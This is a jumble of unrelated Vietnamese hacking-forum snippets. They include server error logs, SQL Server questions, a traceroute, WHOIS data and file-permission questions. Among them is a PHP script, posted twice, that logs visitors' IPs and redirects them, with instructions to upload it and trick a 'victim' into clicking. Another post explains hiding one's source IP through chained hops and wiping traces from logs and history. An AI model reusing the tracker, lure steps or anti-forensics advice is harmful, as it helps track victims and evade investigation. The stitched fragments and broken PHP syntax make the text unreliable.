Traceback (most recent call last):
File "/usr/bin/yum", line 22, in <module>
import yummain
File "/usr/share/yum/yummain.py", line 22, in <module>
import clientStuff
File "/usr/share/yum/clientStuff.py", line 18, in <module>
import rpm
ImportError: No module named rpm
 

/etc/init.d/apache2 start
* Starting web server apache2 (98)Address already in use: make_sock: could not bind to address [::]:80
(98)Address already in use: make_sock: could not bind to address 0.0.0.0:80
no listening sockets available, shutting down
Unable to open logs
 

1: Thông tin login của SQL Sever được lưu trong table nào?  

2: Hãy cho biết thông tin User, role và thông tin user là thành viên của 1 role được lưu vào trong table hệ thống nào? 

y của bác alone_guy là hiệu quả nhất.sử dung code mới mong lấy dc ip.chứ con dùng netstat -n bác nào tìm được thì phải là cao thủ!
đây là code để lấy ip của victim,nhưng bạn cần 1 host hỗ trợ php.
<?php
error_reporting(0);

$urlmuonchuyen="liên kết";

$ipsave="layip.txt";

$ip = $_SERVER['REMOTE_ADDR'];

//======= Begin Xem File =======

if (isset($_GET['xem']) && $_GET['xem']=="ok"
{
if(file_exists($ipsave))
{
ob_clean();
flush();
readfile($ipsave);
}
else
{
echo "Chua Co File Log IP.";
}
exit;
}

//======= End Xem File =======

//======= Begin Xoa File =======

if (isset($_GET['xoa']) && $_GET['xoa']=="ok"
{
if(file_exists($ipsave))
{
unlink($ipsave);
}
echo "Xoa Thanh Cong.";
exit;
}

//======= End Xoa File =======

saveip($ipsave,$ip);

function saveip($ipsave,$noidungip)
{
$ipp = fopen($ipsave,"a+";
fputs($ipp,$noidungip."\r\n";
fclose($ipp);
}

header("Location: $urlmuonchuyen";
?>
lưu lai vs tên xxx.php rùi up lên host.trong đó "liên kết"bạn muốn link hướng đến.
công việc còn lại là gửi link cho victim ,dụ victim click vào.
- xem ip của victim : đường dẫn?xem=ok
- xoá : đường dẫn?xoá=ok
Chúc thành công! 

<?php
error_reporting(0);

$urlmuonchuyen="http://teenq12.info/@forum/forum.php";

$ipsave="layip.txt";

$ip = $_SERVER['REMOTE_ADDR'];

//======= Begin Xem File =======

if (isset($_GET['xem']) && $_GET['xem']=="ok"
{
if(file_exists($ipsave))
{
ob_clean();
flush();
readfile($ipsave);
}
else
{
echo "Chua Co File Log IP.";
}
exit;
}

//======= End Xem File =======

//======= Begin Xoa File =======

if (isset($_GET['xoa']) && $_GET['xoa']=="ok"
{
if(file_exists($ipsave))
{
unlink($ipsave);
}
echo "Xoa Thanh Cong.";
exit;
}

//======= End Xoa File =======

saveip($ipsave,$ip);

function saveip($ipsave,$noidungip)
{
$ipp = fopen($ipsave,"a+";
fputs($ipp,$noidungip."\r\n";
fclose($ipp);
}

header("Location: $urlmuonchuyen";
?>  

Mới đọc mà đã chán ngán rồi rao ? Vậy thì làm sao tìm hiểu được virus trên Windows được ?
Bản chất ASM cho x86 là như nhau, chỉ khác syntax. Cố gắng học cho tới nơi tới chốn.
Hồi xưa cố lắm, cuối cùng tui còn viết Game cho Win32 = MASM32, dựa trên document OpenGL của NeHe. Cái gì cũng có cái giá của nó, bỏ ra 1 thì nhận 1.
 

gatapchoi wrote:

Anh ơi. C thì em có rồi, nhưng mà ASM thì em không có. Anh có nguồn nào không cho em với, tiếng việt anh nhé, vì tiếng anh em kém lắm. Hi hi, thank anh./. 

Nguồn gì? ASM có tiếng Việt hồi nào? 

Dùng fail2ban hay tất cả các tool theo kiểu scan log rồi đưa ra action đều chiếm dụng memory và cpu cao, đặc biệt là nếu viết script không tốt và file log có kích thước quá lớn chưa được cắt
Theo tôi thì bạn chủ topic nên tìm hiểu kỹ hơn về các service mình triển khai để tối ưu cấu hình. Dovecot thì tôi không rõ nhưng ssh có thể giới hạn số lần thử sai qua tham số MaxAuthTries trong /etc/sshd_config  

sasser01052004 wrote:
Code:

Tracing route to ns2.dnsv5.com [183.60.59.218]
over a maximum of 30 hops:

1 * * * Request timed out.
2 89 ms 69 ms 59 ms 10.204.0.33
3 78 ms 69 ms 60 ms 10.204.0.65
4 78 ms 80 ms 89 ms localhost [27.68.248.29]
5 79 ms 59 ms 59 ms localhost [27.68.248.14]
6 118 ms 119 ms 119 ms 203.131.245.85
7 157 ms 159 ms 219 ms as-0.r21.osakjp01.jp.bb.gin.ntt.net [129.250.2.1
48]
8 299 ms 610 ms 300 ms as-1.r21.snjsca04.us.bb.gin.ntt.net [129.250.3.1
97]
9 289 ms 279 ms 279 ms ae-2.r06.snjsca04.us.bb.gin.ntt.net [129.250.5.5
5]
10 277 ms 290 ms 289 ms xe-0.chinanet.snjsca04.us.bb.gin.ntt.net [129.25
0.8.6]
11 277 ms 290 ms 289 ms 202.97.50.69
12 348 ms 359 ms 369 ms

Tại sao mấy cái 4 và 5 lại chĩa vào địa chỉ loopback của em hả mấy anh.

Viettel dùng "localhost" cho 2 public IP ở trên là vi phạm nghiêm trọng quy định của internic. 

virus đa cấu hình 

HEUR/Exploit.HTML is a heuristic detection routine designed to detect common malware scripts in HTML files. Avira AntiVir recognizes unknown malware proactively using its AHeAD technology. To achieve this, Avira performs innovative structural analyzing.
 

Hì hì, chẳng lẽ anh phải trình bày chi tiết sao em? Nguyên tắc là thế này:

- Như em biết, trong một mạng (LAN, WAN, Internet...) để truy cập từ điểm này sang điểm khác em phải có điểm xuất phát và điểm đích. Trong trường hợp TCP/IP, em phải có source IP (máy em) và destination IP (mục tiêu). Hầu hết các hệ thống ngày nay đều có một (hoặc nhiều) cơ chế ghi nhận các truy cập. Bởi vậy, để các cơ chế không ghi nhận source IP (thật của mình) thì cần phải dàn dựng làm sao đó để các cơ chế đó ghi nhận source IP là một IP nào khác. Giả sứ đi mình là A, muốn truy cập đến đích là B và muốn che giấu A thì từ A phải nhảy sang X, Y, Z.... để cho cơ chế ghi nhận kia lưu trữ thông tin Z chớ không lưu trữ thông tin A.

- Dàn dựng ra làm sao còn tuỳ thuộc vào mục tiêu là gì nữa. Ví dụ mục tiêu là trang web và muốn tấn công thuần tuý trên web thì có thể dựa hoàn toàn trên cơ chế proxy hoặc bất cứ cái gì hiểu và làm việc được với HTTP. Nếu mục tiêu là cái gì khác nữa thì phải tìm ra những cơ chế tương thích để "nhảy" từ điểm này sang điểm kia. Điều quan trọng là quá trình dàn dựng sao cho hợp lý và làm sao để việc trace ngược lại Z, Y, X... đến A khó khăn.

- Dấu vết ở mỗi chặng đều có (ví dụ đi từ đâu đến, lúc nào, làm những gì....) và tuỳ mỗi cơ chế, mỗi ấn định mà những thông tin ấy được ghi nhận nhiều hay ít. Bởi vậy, không những phải nắm mục tiêu mình thâm nhập mà còn phải nắm vững "chặng" mình dùng để "nhảy" để từ đó có thể xoá tối đa những dấu vết do mình tạo ra (ví dụ như trong logs, history, events.....).


Nguyên tắc là vậy, áp dụng ra làm sao còn tuỳ thuộc vào... khả năng sáng tạo và kiến thức của từng người. 

Billing Contact Name: YahooDomains BillingContact
Billing Contact Organization: Yahoo! Inc
Billing Contact Address1: 701 First Ave.
Billing Contact City: Sunnyvale
Billing Contact State/Province: CA
Billing Contact Postal Code: 94089
Billing Contact Country: United States
Billing Contact Country Code: US
Billing Contact Phone Number: +1.4089162124
Billing Contact Email: domain.billing@yahoo-inc.com
 

Em xin minh hoạ 1 ví dụ:

Khi 1 NCC Hosting tạo ra 1 user. user sẽ có các folder như là public_html...

Khi User họ up forum họ lên thì sẽ có thêm nhiều folder như là admincp,modcp,..... và các file config.php, index.php

Thường thì các user bị hack rồi lúc đó họ mới chống! nên bây giờ có các nào để auto CHMOD cho các folder là 711 và file là 644 hay không ? Như vậy sẽ chặn đc local attack 1 phần nào đó. 

Trong số những người post những bài kỹ thuật đó có rất nghiều người trình độ cũng thuộc dạng ù mờ thậm chí là đọc ở đâu đấy rồi thấy ok 1 tí là copy xáo nấu một tí rồi quăng lên, mục đích chia sẻ thì ít còn khoe hàng thì nhiều. Đối với những người như thế thì rất cần được dẵm phải những cái gai như lão tmd đây